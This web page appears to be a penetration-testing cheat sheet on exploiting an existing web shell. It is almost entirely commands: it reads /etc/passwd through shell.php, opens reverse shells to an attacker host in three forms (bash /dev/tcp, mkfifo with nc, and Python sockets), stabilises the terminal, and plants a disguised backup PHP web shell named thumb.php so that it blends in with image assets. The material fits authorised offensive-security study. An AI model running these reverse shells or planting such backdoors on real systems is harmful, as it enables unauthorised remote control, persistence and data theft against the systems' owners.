Skip to content
HackIndex logo

HackIndex

Web Shell Management and Upgrade

3 min read Apr 24, 2026

A web shell gives code execution but is fragile — it lives in one file, produces no interactive shell, and disappears if the application restarts or the file is detected. The first priority after landing a web shell is confirming the execution context, then upgrading to a stable reverse shell before doing anything else. Enumeration through a web shell parameter is slow and error-prone compared to a proper interactive session.

Confirm Execution Context

Establish what user, privileges, and environment you have before attempting anything else:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php?cmd=uname+-a"
Linux target 5.15.0-91-generic x86_64 GNU/Linux
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php?cmd=cat+/etc/passwd+|+grep+-v+nologin+|+grep+-v+false"
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/sh

Upgrade to Reverse Shell

Set up the listener first, then trigger the reverse shell through the web shell. Use URL encoding to handle special characters in the payload:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

If bash is not available or the redirect operator is filtered, use mkfifo:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php" --get --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST $LPORT >/tmp/f"

Python fallback when nc and bash redirects are both unavailable:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php" --get --data-urlencode "cmd=python3 -c 'import socket,os,subprocess;s=socket.socket();s.connect((\"$LHOST\",$LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

Stabilise the Shell

Raw nc shells have no tab completion, no arrow keys, and Ctrl+C kills the connection. Stabilise immediately after connecting:

user@host ~ $ python3 -c 'import pty; pty.spawn("/bin/bash")'

Then background the shell with Ctrl+Z and configure the local terminal:

┌──(kali㉿kali)-[~]
└─$ stty raw -echo && fg
user@host ~ $ export TERM=xterm && stty rows 50 cols 200

Plant a Secondary Web Shell

Before moving on, plant a secondary shell in a less obvious location as a fallback. Name it something that blends with legitimate files:

user@host ~ $ echo '<?php system($_GET["0"]); ?>' > /var/www/html/assets/img/thumb.php
user@host ~ $ ls -la /var/www/html/assets/img/thumb.php
-rw-r--r-- 1 www-data www-data 32 Mar 28 12:00 /var/www/html/assets/img/thumb.php

Locate Other Web Application Files

Find the full web root structure and other web applications on the same server:

user@host ~ $ find /var/www /srv/http /usr/share/nginx /opt -name '*.php' -o -name '*.py' -o -name '*.rb' 2>/dev/null | head -30
user@host ~ $ cat /etc/nginx/sites-enabled/* 2>/dev/null | grep -iE 'root|server_name'
user@host ~ $ cat /etc/apache2/sites-enabled/* 2>/dev/null | grep -iE 'DocumentRoot|ServerName'

References